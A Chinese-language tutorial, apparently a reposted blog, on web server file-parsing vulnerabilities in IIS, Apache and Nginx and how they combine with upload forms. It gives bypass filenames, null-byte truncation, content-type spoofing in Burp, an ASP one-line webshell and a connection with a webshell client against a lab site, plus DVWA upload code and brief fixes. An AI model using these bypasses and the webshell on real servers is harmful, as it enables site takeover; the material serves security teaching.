1.什么是解析漏洞
以其他格式執(zhí)行出腳本格式的效果。
2.解析漏洞產(chǎn)生的條件
1.命名規(guī)則
2.搭建平臺(tái)
3.常見(jiàn)的解析漏洞
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服務(wù)器,大多為windows server 2003,網(wǎng)站比較古老,開(kāi)發(fā)語(yǔ)句一般為asp;該解析漏洞也只能解析asp文件,而不能解析aspx文件。
1)目錄解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服務(wù)器默認(rèn)會(huì)把.asp,.asp目錄下的文件都解析成asp文件。
2)文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服務(wù)器默認(rèn)不解析;號(hào)后面的內(nèi)容,因此xx.asp;.jpg便被解析成asp文件了。
3)解析文件類(lèi)型
IIS6.0 默認(rèn)的可執(zhí)行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx
(二)IIS7.5解析漏洞
IIS7.5的漏洞與nginx的類(lèi)似,都是由于PHP配置文件中,開(kāi)啟了cgi.fix_pathinfo,而這并不是nginx或者iis7.5本身的漏洞。
(三)apache解析漏洞
漏洞原理
Apache 解析文件的規(guī)則是從右到左開(kāi)始判斷解析,如果后綴名為不可識(shí)別文件解析,就再往左判斷。比如test.php.qwe.asd “.qwe”和”.asd” 這兩種后綴是apache不可識(shí)別解析,apache就會(huì)把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置問(wèn)題導(dǎo)致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時(shí)只要文件名里包含.php 即使文件名是 test2.php.jpg 也會(huì)以 php 來(lái)執(zhí)行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴(kuò)展名是 jpg,一樣能以php 方式執(zhí)行。
修復(fù)方案
1.apache配置文件,禁止.php.這樣的文件執(zhí)行,配置文件里面加入
2.用偽靜態(tài)能解決這個(gè)問(wèn)題,重寫(xiě)類(lèi)似.php.*這類(lèi)文件,打開(kāi)apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#號(hào)去掉,重啟apache,在網(wǎng)站根目錄下建立.htaccess文件
(四)Nginx解析漏洞
漏洞原理
Nginx默認(rèn)是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通過(guò)正則匹配設(shè)置SCRIPT_FILENAME。當(dāng)訪問(wèn)www.xx.com/phpinfo.jpg/1.php這個(gè)URL時(shí),$fastcgi_script_name會(huì)被設(shè)置為“phpinfo.jpg/1.php”,然后構(gòu)造成SCRIPT_FILENAME傳遞給PHP CGI,但是PHP為什么會(huì)接受這樣的參數(shù),并將phpinfo.jpg作為PHP文件解析呢?這就要說(shuō)到fix_pathinfo這個(gè)選項(xiàng)了。 如果開(kāi)啟了這個(gè)選項(xiàng),那么就會(huì)觸發(fā)在PHP中的如下邏輯:
PHP會(huì)認(rèn)為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會(huì)將phpinfo.jpg作為PHP文件來(lái)解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一種手法:上傳一個(gè)名字為test.jpg,然后訪問(wèn)test.jpg/.php,在這個(gè)目錄下就會(huì)生成一句話木馬shell.php。
總結(jié):
IIS6.0(x和腳本格式可以自定義)
文件命名形式:
正常命名:www.xxx.com/logo.jpg
觸發(fā)解析漏洞命名:www.xxx.com/logo.asp;.jpg或logo.asp;.x.jpg
文件夾命名形式:
正常命名:www.xxx.com/images/qq.jpg
觸發(fā)解析漏洞命名:www.xxx.com/image.asp/qq.jpg
IIS7.X(x自定義,只能執(zhí)行php)
正常命名:www.xxx.com/logo.jpg
觸發(fā)解析漏洞命名:www.xxx.com/logo.jpg/x.php
Apache(xxxx代表任意后綴,向上識(shí)別解析)
正常命名:www.xxx.com/a.php
觸發(fā)解析漏洞命名:www.xxx.com/a.php.xxxx
Nginx同iis7.x一致
4.一個(gè)簡(jiǎn)單的解析例子
測(cè)試環(huán)境為:windwos2003+iis6.0 注意:測(cè)試環(huán)境必須是在windwos2003+iis6.0的情況下才能成功解析,不能是小旋風(fēng)之類(lèi)的軟件來(lái)測(cè)試。
1)文件解析
直接訪問(wèn)圖片地址:http://192.168.87.129:8067/6.jpg
改變圖片后戳名為:6.asp;.jpg 再次訪問(wèn),就會(huì)發(fā)現(xiàn),jpg格式的圖片被解析成了asp格式的腳本語(yǔ)言。
還可以改成:6.asp;1234.jpg 效果是一樣的。
2)目錄解析
將文件改為一個(gè)正常的圖片格式文件,然后把它復(fù)制到一個(gè)test.asp的目錄下,然后方法,發(fā)現(xiàn)也能正常解析。
5.解析漏洞利用場(chǎng)景
解析漏洞主要用在文件上傳,上傳一些圖片什么的,然后通過(guò)解析漏洞,解析為動(dòng)態(tài)語(yǔ)言。而上傳很重要的一點(diǎn)就是命名規(guī)則,因?yàn)槿绻悴恢?服務(wù)器的文件命名規(guī)則的話,解析漏洞就不好利用,因?yàn)槲覀円@取我們上傳文件名,只有獲取到了上傳的文件名,才能進(jìn)行下一步操作,而命名規(guī)則無(wú)非就是以下兩種。
測(cè)試源碼:http://download.csdn.net/detail/u011781521/9766646下載好之后,在服務(wù)器中新建一個(gè)網(wǎng)站,并復(fù)制進(jìn)去。
然后訪問(wèn)首頁(yè):http://192.168.87.129:8898/Index.asp
后臺(tái)登錄地址:http://192.168.87.129:8898/Tcnet/Admin_Login.asp
文件上傳地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg用戶名與密碼: admin admin 注意:必須先要登錄才能使用文件上傳功能。
1.本地,服務(wù)端命名一致
1)filepath上傳利用
直接上傳解析漏洞命名的后門(mén)文件
訪問(wèn)這個(gè)地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg
先直接上傳一個(gè)asp的文件試試看能否上傳
發(fā)現(xiàn)并不能上傳。那我們就利用解析漏洞來(lái)試下看,把a(bǔ)sp改為fk.asp;.jpg(注:這里是圖片一句話)
OK能上傳。復(fù)制上傳好的地址,然后訪問(wèn)
圖片能查看,但是asp并沒(méi)有被解析。。。這是時(shí)候怎么辦,從新上傳xxx.asp;.jpg,然后用Burp來(lái)抓包,進(jìn)行修改。
右鍵發(fā)送到Repeater中去
修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后Go一下你就會(huì)發(fā)現(xiàn),這里就成了一個(gè)解析漏洞了
然后訪問(wèn)下這個(gè)地址,asp成功的被解析了。
然后用菜刀進(jìn)行連接。
密碼就是"include";對(duì)應(yīng)的asp一句話<%execute request("include")%> ?然后點(diǎn)擊添加。。
連接成功。
2.本地,服務(wù)端命名不一致,基于時(shí)間,日期等命名
1)filetype突破
這里采用DVWA來(lái)測(cè)試,
然后點(diǎn)擊"View Source"查看源碼。
Low代碼:
[html]view plaincopy
if(?isset(?$_POST[?'Upload'?]?)?)?{??//判斷是否是post傳過(guò)來(lái)的,也就是判斷upload是否為空
$target_path=DVWA_WEB_PAGE_TO_ROOT.?"hackable/uploads/";???//取得網(wǎng)站絕對(duì)路徑,然后用絕對(duì)路徑+相對(duì)路徑得到一個(gè)完整的路徑。
$target_path.=basename(?$_FILES[?'uploaded'?][?'name'?]?);???//根據(jù)上面得到的完整路徑+得到的文件名。
if(?!move_uploaded_file(?$_FILES[?'uploaded'?][?'tmp_name'?],?$target_path?)?)?{??//判斷你上傳的圖片是否成功移動(dòng)到完整路徑中
//?No
echo?'
Your?image?was?not?uploaded.
';
}
else?{
//?Yes!
echo?"
{$target_path}?succesfully?uploaded!";
}
}
?>
$_FILES['uploaded']['name']:取得$_FILES全局文件變量的上傳文件名
該源碼存在的問(wèn)題:
第一個(gè)沒(méi)有驗(yàn)證后綴格式
什么格式得可以上傳。。
第二個(gè)客戶端,服務(wù)端文件命名一致
Medium代碼:
[html]view plaincopy
if(?isset(?$_POST[?'Upload'?]?)?)?{
//?我們要往哪里寫(xiě)?
$target_path=DVWA_WEB_PAGE_TO_ROOT.?"hackable/uploads/";
$target_path.=basename(?$_FILES[?'uploaded'?][?'name'?]?);
//?文件信息
$uploaded_name=?$_FILES[?'uploaded'?][?'name'?];
$uploaded_type=?$_FILES[?'uploaded'?][?'type'?];
$uploaded_size=?$_FILES[?'uploaded'?][?'size'?];
//?判斷這是一個(gè)圖片嗎?
if(?(?$uploaded_type==?"image/jpeg"?||?$uploaded_type==?"image/png"?)?&&
(?$uploaded_size<100000)?)?{
//?我們可以移動(dòng)文件到上傳文件夾嗎?
if(?!move_uploaded_file(?$_FILES[?'uploaded'?][?'tmp_name'?],?$target_path?)?)?{
//?No
echo?'
Your?image?was?not?uploaded.
';
}
else?{
//?Yes!
echo?"
{$target_path}?succesfully?uploaded!";
}
}
else?{
//?Invalid?file
echo?'
Your?image?was?not?uploaded.?We?can?only?accept?JPEG?or?PNG?images.
';
}
}
?>
$_FILES['uploaded']['name'];取得$_FILES全局文件變量的上傳文件名
$_FILES['uploaded']['type'];取得$_FILES全局文件變量的上傳文件類(lèi)型
$_FILES['uploaded']['size'];取得$_FILES全局文件變量的上傳大小
驗(yàn)證文件上傳類(lèi)型及大小,還是本地,服務(wù)端命名一致
然后我們來(lái)上傳個(gè)asp文件用Burp抓包,看是否能成功上傳。
攔截到之后發(fā)送到Repeater,然后go一下
上傳失敗。。。這就很好奇了,明明這里沒(méi)有驗(yàn)證文件后戳名,為什么還是上傳不了???? 但是,他這里驗(yàn)證了文件類(lèi)型!!我們看下上傳的文件是什么類(lèi)型的
看它上傳的類(lèi)型為:application/octet-stram 所以他把上傳的asp當(dāng)做application來(lái)處理里。
然后我們改一下content-type的類(lèi)型為:image/jpeg
再次GO一下,發(fā)現(xiàn)上傳成功了。
2)%00截?cái)啵航財(cái)嘧址?/b>
注意:數(shù)據(jù)包修改%00,務(wù)必進(jìn)行url編碼
把6.asp;.jpg改為6.asp%00.jpg
然后選中右鍵把%00進(jìn)行url編碼下。
這樣的話,就把.jpg給截?cái)嗔?,然后就變成?.asp。
High代碼:
[html]view plaincopy
if(?isset(?$_POST[?'Upload'?]?)?)?{
//?我們要往哪里寫(xiě)?
$target_path=DVWA_WEB_PAGE_TO_ROOT.?"hackable/uploads/";
$target_path.=basename(?$_FILES[?'uploaded'?][?'name'?]?);
//?文件信息
$uploaded_name=?$_FILES[?'uploaded'?][?'name'?];
$uploaded_ext=substr(?$uploaded_name,?strrpos(?$uploaded_name,?'.'?)?+?1);
$uploaded_size=?$_FILES[?'uploaded'?][?'size'?];
$uploaded_tmp=?$_FILES[?'uploaded'?][?'tmp_name'?];
//?判斷是否是圖片?
if(?(?strtolower(?$uploaded_ext?)?==?"jpg"?||?strtolower(?$uploaded_ext?)?==?"jpeg"?||?strtolower(?$uploaded_ext?)?==?"png"?)?&&
(?$uploaded_size<100000)?&&
getimagesize(?$uploaded_tmp?)?)?{
//?我們可以移動(dòng)文件到上傳文件夾嗎?
if(?!move_uploaded_file(?$uploaded_tmp,?$target_path?)?)?{
//?No
echo?'
Your?image?was?not?uploaded.
';
}
else?{
//?Yes!
echo?"
{$target_path}?succesfully?uploaded!";
}
}
else?{
//?Invalid?file
echo?'
Your?image?was?not?uploaded.?We?can?only?accept?JPEG?or?PNG?images.
';
}
}
?>
strrpos( $uploaded_name, '.' ) + 1 的作用就是去文件的最后一個(gè)點(diǎn)
例如:
www.jpg.zip.txt.asp
他就會(huì)截取最后一個(gè)點(diǎn),所以是繞不過(guò)的。
然后下面又是一個(gè)判斷。格式必須是圖片型的才能執(zhí)行下面的代碼。